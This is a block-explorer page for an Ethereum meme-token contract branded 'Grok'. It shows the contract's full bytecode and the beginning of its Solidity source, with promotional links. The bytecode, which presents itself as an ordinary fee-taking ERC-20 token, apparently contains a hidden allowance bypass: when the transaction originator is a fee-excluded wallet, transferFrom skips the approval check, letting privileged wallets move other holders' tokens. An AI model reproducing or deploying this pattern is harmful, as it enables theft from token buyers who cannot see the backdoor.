Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x2ac67c80882e2A3a70480D4940e8C7933730aABA
Balance 0 ETH
Nonce 1
Code Size 15420 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

15420 bytes
0x608060405260043610610233575f3560e01c80636ddd17131161012d578063a9059cbb116100aa578063dd62ed3e1161006e578063dd62ed3e1461085e578063e0a512b51461089a578063e2f45605146108c4578063f2fde38b146108ee578063f8b45b05146109165761023a565b8063a9059cbb14610768578063b62496f5146107a4578063bbc0c742146107e0578063c70a33c61461080a578063c8c8ebe4146108345761023a565b80638366e79a116100f15780638366e79a146106865780638a8c523c146106c25780638da5cb5b146106d857806395d89b4114610702578063a457c2d71461072c5761023a565b80636ddd1713146105b657806370a08231146105e0578063715018a61461061c57806375f0a874146106325780637e3a2c331461065c5761023a565b806323b872dd116101bb57806349bd5a5e1161017f57806349bd5a5e146104d25780634fbee193146104fc578063559601f3146105385780635ee6f0d2146105625780636315dbb61461058c5761023a565b806323b872dd146103dc578063313ce5671461041857806339509351146104425780633d3760df1461047e5780634361a101146104a85761023a565b80631694505e116102025780631694505e1461030a578063171f06b51461033457806318160ddd1461035e5780631a8145bb146103885780631f3fed8f146103b25761023a565b8063032b6c541461023e57806306fdde0314610268578063095ea7b31461029257806310d5de53146102ce5761023a565b3661023a57005b5f5ffd5b348015610249575f5ffd5b50610252610940565b60405161025f9190612ca1565b60405180910390f35b348015610273575f5ffd5b5061027c610946565b6040516102899190612d2a565b60405180910390f35b34801561029d575f5ffd5b506102b860048036038101906102b39190612dd2565b6109d6565b6040516102c59190612e2a565b60405180910390f35b3480156102d9575f5ffd5b506102f460048036038101906102ef9190612e43565b6109f3565b6040516103019190612e2a565b60405180910390f35b348015610315575f5ffd5b5061031e610a10565b60405161032b9190612ec9565b60405180910390f35b34801561033f575f5ffd5b50610348610a34565b6040516103559190612ca1565b60405180910390f35b348015610369575f5ffd5b50610372610a3a565b60405161037f9190612ca1565b60405180910390f35b348015610393575f5ffd5b5061039c610a43565b6040516103a99190612ca1565b60405180910390f35b3480156103bd575f5ffd5b506103c6610a49565b6040516103d39190612ca1565b60405180910390f35b3480156103e7575f5ffd5b5061040260048036038101906103fd9190612ee2565b610a4f565b60405161040f9190612e2a565b60405180910390f35b348015610423575f5ffd5b5061042c610a8e565b6040516104399190612f4d565b60405180910390f35b34801561044d575f5ffd5b5061046860048036038101906104639190612dd2565b610a96565b6040516104759190612e2a565b60405180910390f35b348015610489575f5ffd5b50610492610b44565b60405161049f9190612ca1565b60405180910390f35b3480156104b3575f5ffd5b506104bc610b4a565b6040516104c99190612ca1565b60405180910390f35b3480156104dd575f5ffd5b506104e6610b50565b6040516104f39190612f75565b60405180910390f35b348015610507575f5ffd5b50610522600480360381019061051d9190612e43565b610b74565b60405161052f9190612e2a565b60405180910390f35b348015610543575f5ffd5b5061054c610bc6565b6040516105599190612ca1565b60405180910390f35b34801561056d575f5ffd5b50610576610bcc565b6040516105839190612ca1565b60405180910390f35b348015610597575f5ffd5b506105a0610bd2565b6040516105ad9190612f75565b60405180910390f35b3480156105c1575f5ffd5b506105ca610bf7565b6040516105d79190612e2a565b60405180910390f35b3480156105eb575f5ffd5b5061060660048036038101906106019190612e43565b610c0a565b6040516106139190612ca1565b60405180910390f35b348015610627575f5ffd5b50610630610c4f565b005b34801561063d575f5ffd5b50610646610da2565b6040516106539190612f75565b60405180910390f35b348015610667575f5ffd5b50610670610dc7565b60405161067d9190612ca1565b60405180910390f35b348015610691575f5ffd5b506106ac60048036038101906106a79190612f8e565b610dcd565b6040516106b99190612e2a565b60405180910390f35b3480156106cd575f5ffd5b506106d661100a565b005b3480156106e3575f5ffd5b506106ec6110e9565b6040516106f99190612f75565b60405180910390f35b34801561070d575f5ffd5b50610716611111565b6040516107239190612d2a565b60405180910390f35b348015610737575f5ffd5b50610752600480360381019061074d9190612dd2565b6111a1565b60405161075f9190612e2a565b60405180910390f35b348015610773575f5ffd5b5061078e60048036038101906107899190612dd2565b611269565b60405161079b9190612e2a565b60405180910390f35b3480156107af575f5ffd5b506107ca60048036038101906107c59190612e43565b611286565b6040516107d79190612e2a565b60405180910390f35b3480156107eb575f5ffd5b506107f46112a3565b6040516108019190612e2a565b60405180910390f35b348015610815575f5ffd5b5061081e6112b5565b60405161082b9190612ca1565b60405180910390f35b34801561083f575f5ffd5b506108486112bb565b6040516108559190612ca1565b60405180910390f35b348015610869575f5ffd5b50610884600480360381019061087f9190612f8e565b6112c1565b6040516108919190612ca1565b60405180910390f35b3480156108a5575f5ffd5b506108ae611343565b6040516108bb9190612ca1565b60405180910390f35b3480156108cf575f5ffd5b506108d8611349565b6040516108e59190612ca1565b60405180910390f35b3480156108f9575f5ffd5b50610914600480360381019061090f9190612e43565b61134f565b005b348015610921575f5ffd5b5061092a611511565b6040516109379190612ca1565b60405180910390f35b60115481565b60606003805461095590612ff9565b80601f016020809104026020016040519081016040528092919081815260200182805461098190612ff9565b80156109cc5780601f106109a3576101008083540402835291602001916109cc565b820191905f5260205f20905b8154815290600101906020018083116109af57829003601f168201915b5050505050905090565b5f6109e96109e2611517565b848461151e565b6001905092915050565b601a602052805f5260405f205f915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600d5481565b5f600254905090565b60145481565b60135481565b5f5f610a59611517565b9050610a668585856116e1565b610a818582601660149054906101000a900460ff16866121ab565b5060019150509392505050565b5f6009905090565b5f610b3a610aa2611517565b84610b358560015f610ab2611517565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226990919063ffffffff16565b61151e565b6001905092915050565b600f5481565b600b5481565b7f000000000000000000000000714a461c75b711a85139bb5b6b84df15c1bcb72781565b5f60195f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b600c5481565b60105481565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60019054906101000a900460ff1681565b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610c57611517565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc90613073565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b5f610dd6611517565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90613073565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec9906130db565b60405180910390fd5b5f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f0c9190612f75565b602060405180830381865afa158015610f27573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f4b919061310d565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401610f88929190613138565b6020604051808303815f875af1158015610fa4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc89190613189565b91507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e4388482604051610ffb929190613138565b60405180910390a15092915050565b611012611517565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790613073565b60405180910390fd5b6110b26110ac30610c0a565b476122c6565b6001600a5f6101000a81548160ff0219169083151502179055506001600a60016101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461112090612ff9565b80601f016020809104026020016040519081016040528092919081815260200182805461114c90612ff9565b80156111975780601f1061116e57610100808354040283529160200191611197565b820191905f5260205f20905b81548152906001019060200180831161117a57829003601f168201915b5050505050905090565b5f61125f6111ad611517565b8461125a85604051806060016040528060258152602001613be26025913960015f6111d6611517565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461239f9092919063ffffffff16565b61151e565b6001905092915050565b5f61127c611275611517565b84846116e1565b6001905092915050565b601b602052805f5260405f205f915054906101000a900460ff1681565b600a5f9054906101000a900460ff1681565b60155481565b60075481565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600e5481565b60085481565b611357611517565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90613073565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a90613224565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361158c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611583906132b2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f190613340565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116d49190612ca1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361174f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611746906133ce565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b49061345c565b60405180910390fd5b5f601660146101000a81548160ff0219169083151502179055505f81036117ee576117e983835f612401565b6121a6565b6117f66110e9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561186457506118346110e9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561189c57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118d6575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118ef5750600560149054906101000a900460ff16155b15611cbc57600a5f9054906101000a900460ff166119e25760195f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806119a2575060195f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6119e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d8906134c4565b60405180910390fd5b5b601b5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611a7f5750601a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b2657600754811115611ac9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac090613552565b60405180910390fd5b600954611ad583610c0a565b82611ae0919061359d565b1115611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b189061361a565b60405180910390fd5b611cbb565b601b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611bc35750601a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c1257600754811115611c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c04906136a8565b60405180910390fd5b611cba565b601a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611cb957600954611c6c83610c0a565b82611c77919061359d565b1115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf9061361a565b60405180910390fd5b5b5b5b5b5f611cc630610c0a565b90505f60085482101590505f5f329050828015611cef5750600a60019054906101000a900460ff165b8015611d085750600560149054906101000a900460ff16155b8015611d5b5750601b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611dae575060195f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e01575060195f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e44576001600560146101000a81548160ff021916908315150217905550611e2961267f565b5f600560146101000a81548160ff0219169083151502179055505b5f600560149054906101000a900460ff16159050611e6182610b74565b15611e82576001601660146101000a81548160ff0219169083151502179055505b60195f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f1d575060195f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f26575f90505b5f5f9050811561219457601b5f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611f8757505f600f54115b1561204757611fb46064611fa6600f548a61287a90919063ffffffff16565b6128f190919063ffffffff16565b9050600f5460115482611fc791906136c6565b611fd19190613734565b60145f828254611fe1919061359d565b92505081905550600f5460105482611ff991906136c6565b6120039190613734565b60135f828254612013919061359d565b92505081905550600f546012548261202b91906136c6565b6120359190613734565b84612040919061359d565b935061215b565b601b5f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16801561209e57505f600b54115b1561215a576120cb60646120bd600b548a61287a90919063ffffffff16565b6128f190919063ffffffff16565b9050600b54600d54826120de91906136c6565b6120e89190613734565b60145f8282546120f8919061359d565b92505081905550600b54600c548261211091906136c6565b61211a9190613734565b60135f82825461212a919061359d565b92505081905550600b54600e548261214291906136c6565b61214c9190613734565b84612157919061359d565b93505b5b5f81111561216f5761216e893083612401565b5b5f841115612185576121843061dead86612401565b5b80876121919190613764565b96505b61219f898989612401565b5050505050505b505050565b5f61225d85856122588587604051806060016040528060288152602001613bba6028913960015f8d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461293a909392919063ffffffff16565b61151e565b60019050949350505050565b5f5f8284612277919061359d565b9050838110156122bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b3906137e1565b60405180910390fd5b8091505092915050565b6122f1307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461151e565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f61dead426040518863ffffffff1660e01b815260040161235796959493929190613838565b60606040518083038185885af1158015612373573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906123989190613897565b5050505050565b5f8383111582906123e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dd9190612d2a565b60405180910390fd5b505f83856123f49190613764565b9050809150509392505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361246f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612466906133ce565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d49061345c565b60405180910390fd5b61254681604051806060016040528060268152602001613b94602691395f5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461239f9092919063ffffffff16565b5f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506125d5815f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461226990919063ffffffff16565b5f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126729190612ca1565b60405180910390a3505050565b5f61268930610c0a565b90505f60135460145461269c919061359d565b90505f5f8314806126ac57505f82145b156126b957505050612878565b60146008546126c891906136c6565b8311156126e15760146008546126de91906136c6565b92505b5f600283601454866126f391906136c6565b6126fd9190613734565b6127079190613734565b90505f61271d82866129ac90919063ffffffff16565b90505f47905061272c826129f5565b5f61274082476129ac90919063ffffffff16565b90505f61276a8761275c6013548561287a90919063ffffffff16565b6128f190919063ffffffff16565b90505f81836127799190613764565b90505f6014819055505f6013819055505f8611801561279757505f81115b156127e4576127a686826122c6565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826014546040516127db939291906138e7565b60405180910390a15b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161282990613949565b5f6040518083038185875af1925050503d805f8114612863576040519150601f19603f3d011682016040523d82523d5f602084013e612868565b606091505b5050809750505050505050505050505b565b5f5f830361288a575f90506128eb565b5f828461289791906136c6565b90508284826128a69190613734565b146128e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128dd906139cd565b60405180910390fd5b809150505b92915050565b5f61293283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612c28565b905092915050565b5f8215612949578490506129a4565b84841115829061298f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129869190612d2a565b60405180910390fd5b505f848661299d9190613764565b9050809150505b949350505050565b5f6129ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061239f565b905092915050565b5f600267ffffffffffffffff811115612a1157612a106139eb565b5b604051908082528060200260200182016040528015612a3f5781602001602082028036833780820191505090505b50905030815f81518110612a5657612a55613a18565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612af9573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612b1d9190613a59565b81600181518110612b3157612b30613a18565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b96307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461151e565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612bf7959493929190613b3b565b5f604051808303815f87803b158015612c0e575f5ffd5b505af1158015612c20573d5f5f3e3d5ffd5b505050505050565b5f5f83118290612c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c659190612d2a565b60405180910390fd5b505f8385612c7c9190613734565b9050809150509392505050565b5f819050919050565b612c9b81612c89565b82525050565b5f602082019050612cb45f830184612c92565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612cfc82612cba565b612d068185612cc4565b9350612d16818560208601612cd4565b612d1f81612ce2565b840191505092915050565b5f6020820190508181035f830152612d428184612cf2565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612d7782612d4e565b9050919050565b612d8781612d6d565b8114612d91575f5ffd5b50565b5f81359050612da281612d7e565b92915050565b612db181612c89565b8114612dbb575f5ffd5b50565b5f81359050612dcc81612da8565b92915050565b5f5f60408385031215612de857612de7612d4a565b5b5f612df585828601612d94565b9250506020612e0685828601612dbe565b9150509250929050565b5f8115159050919050565b612e2481612e10565b82525050565b5f602082019050612e3d5f830184612e1b565b92915050565b5f60208284031215612e5857612e57612d4a565b5b5f612e6584828501612d94565b91505092915050565b5f819050919050565b5f612e91612e8c612e8784612d4e565b612e6e565b612d4e565b9050919050565b5f612ea282612e77565b9050919050565b5f612eb382612e98565b9050919050565b612ec381612ea9565b82525050565b5f602082019050612edc5f830184612eba565b92915050565b5f5f5f60608486031215612ef957612ef8612d4a565b5b5f612f0686828701612d94565b9350506020612f1786828701612d94565b9250506040612f2886828701612dbe565b9150509250925092565b5f60ff82169050919050565b612f4781612f32565b82525050565b5f602082019050612f605f830184612f3e565b92915050565b612f6f81612d6d565b82525050565b5f602082019050612f885f830184612f66565b92915050565b5f5f60408385031215612fa457612fa3612d4a565b5b5f612fb185828601612d94565b9250506020612fc285828601612d94565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061301057607f821691505b60208210810361302357613022612fcc565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61305d602083612cc4565b915061306882613029565b602082019050919050565b5f6020820190508181035f83015261308a81613051565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e73000000005f82015250565b5f6130c5601c83612cc4565b91506130d082613091565b602082019050919050565b5f6020820190508181035f8301526130f2816130b9565b9050919050565b5f8151905061310781612da8565b92915050565b5f6020828403121561312257613121612d4a565b5b5f61312f848285016130f9565b91505092915050565b5f60408201905061314b5f830185612f66565b6131586020830184612c92565b9392505050565b61316881612e10565b8114613172575f5ffd5b50565b5f815190506131838161315f565b92915050565b5f6020828403121561319e5761319d612d4a565b5b5f6131ab84828501613175565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61320e602683612cc4565b9150613219826131b4565b604082019050919050565b5f6020820190508181035f83015261323b81613202565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61329c602483612cc4565b91506132a782613242565b604082019050919050565b5f6020820190508181035f8301526132c981613290565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61332a602283612cc4565b9150613335826132d0565b604082019050919050565b5f6020820190508181035f8301526133578161331e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6133b8602583612cc4565b91506133c38261335e565b604082019050919050565b5f6020820190508181035f8301526133e5816133ac565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613446602383612cc4565b9150613451826133ec565b604082019050919050565b5f6020820190508181035f8301526134738161343a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f6134ae601683612cc4565b91506134b98261347a565b602082019050919050565b5f6020820190508181035f8301526134db816134a2565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f61353c603583612cc4565b9150613547826134e2565b604082019050919050565b5f6020820190508181035f83015261356981613530565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6135a782612c89565b91506135b283612c89565b92508282019050808211156135ca576135c9613570565b5b92915050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f613604601383612cc4565b915061360f826135d0565b602082019050919050565b5f6020820190508181035f830152613631816135f8565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f613692603683612cc4565b915061369d82613638565b604082019050919050565b5f6020820190508181035f8301526136bf81613686565b9050919050565b5f6136d082612c89565b91506136db83612c89565b92508282026136e981612c89565b91508282048414831517613700576136ff613570565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61373e82612c89565b915061374983612c89565b92508261375957613758613707565b5b828204905092915050565b5f61376e82612c89565b915061377983612c89565b925082820390508181111561379157613790613570565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6137cb601b83612cc4565b91506137d682613797565b602082019050919050565b5f6020820190508181035f8301526137f8816137bf565b9050919050565b5f819050919050565b5f61382261381d613818846137ff565b612e6e565b612c89565b9050919050565b61383281613808565b82525050565b5f60c08201905061384b5f830189612f66565b6138586020830188612c92565b6138656040830187613829565b6138726060830186613829565b61387f6080830185612f66565b61388c60a0830184612c92565b979650505050505050565b5f5f5f606084860312156138ae576138ad612d4a565b5b5f6138bb868287016130f9565b93505060206138cc868287016130f9565b92505060406138dd868287016130f9565b9150509250925092565b5f6060820190506138fa5f830186612c92565b6139076020830185612c92565b6139146040830184612c92565b949350505050565b5f81905092915050565b50565b5f6139345f8361391c565b915061393f82613926565b5f82019050919050565b5f61395382613929565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139b7602183612cc4565b91506139c28261395d565b604082019050919050565b5f6020820190508181035f8301526139e4816139ab565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050613a5381612d7e565b92915050565b5f60208284031215613a6e57613a6d612d4a565b5b5f613a7b84828501613a45565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613ab681612d6d565b82525050565b5f613ac78383613aad565b60208301905092915050565b5f602082019050919050565b5f613ae982613a84565b613af38185613a8e565b9350613afe83613a9e565b805f5b83811015613b2e578151613b158882613abc565b9750613b2083613ad3565b925050600181019050613b01565b5085935050505092915050565b5f60a082019050613b4e5f830188612c92565b613b5b6020830187613829565b8181036040830152613b6d8186613adf565b9050613b7c6060830185612f66565b613b896080830184612c92565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122028a19226b33985463447bc337a78e7053fcba8b4ec78c3a6bcd69f12f06eb41f64736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: No
Token.sol 1035 lines
// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.19;

/**
Meet your amazing Grok on mooning phase.

https://x.com/elonmusk/status/1951574334465577054
https://x.com/elonmusk/status/1952249661303251187

Web: https://grok4u.fun
X: https://x.com/GrokForU
Telegram; https://t.me/Grok4U_Eth
*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
